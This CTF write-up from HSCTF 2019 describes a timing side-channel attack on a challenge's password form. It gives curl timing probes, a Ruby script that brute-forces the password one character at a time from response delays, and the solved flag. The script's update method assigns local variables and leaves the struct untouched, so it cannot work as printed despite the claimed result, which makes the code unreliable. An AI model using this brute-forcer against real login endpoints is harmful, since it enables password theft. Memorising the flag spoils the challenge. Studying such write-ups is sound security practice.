hsctf – networked password
(Part of a series of writeups from HSCTF 2019.)
The challenge text reads:
Storing passwords on my own server seemed unsafe, so I stored it on a seperate one instead. However, the connection between them is very slow and I have no idea why.
The page is a web interface containing a form with a password input and a button to submit it to the server.
The description hints at a timing attack, so let's test some timings.
$ time curl $HOST --data 'password=a' # 0.554 s
$ time curl $HOST --data 'password=hs' # 1.647 s
$ time curl $HOST --data 'password=hsctf{' # 3.647 s
It appears that the more characters in the password that are correct, the longer the request takes.
Let's build a bruteforcer that will try each possible character in the search space and at each iteration accept the request that takes the longest.
A timer
function is necessary. Here's one that accepts a block to time and returns the number of milliseconds.
def timer
start = Time.now
yield
return ((Time.now - start) * 1000).to_i
end
The next function try
receives a possible password and returns how long the server took to respond. Most of the function is spent on Ruby's low-level Net::HTTP
namespace.
def try(password)
uri = URI.parse(HOST)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
headers = { 'Content-Type': 'application/x-www-form-urlencoded' }
req = Net::HTTP::Post.new(uri.request_uri, headers)
req.body = "password=#{password}"
timer do
http.request req
end
end
Define the search space and starting flag.
space = '0123456789_{}abcdefghijklmnopqrstuvwxyz'.split('')
flag = 'hsctf{'
To figure out when the EOF (end of flag) has been reached, the code should loop until the first }
is encountered.
Max = Struct.new(:delay, :char) do
def update(new_delay, new_char)
if new_delay > delay
delay = new_delay
char = new_char
end
end
end
while not flag.end_with?('}')
max = Max.new(0)
space.each do |char|
print "Test #{flag.green.bold + char.yellow.bold}"
delay = try(flag + char)
puts " => #{delay}ms"
max.update(delay, char)
end
flag += max.char
puts "\nCurr #{flag}\n"
end
puts 'Final ' + flag
After running this for a long time the (thankfully) short flag is emitted.
hsctf{sm0l_fl4g}
Here's a timelapse of the whole process.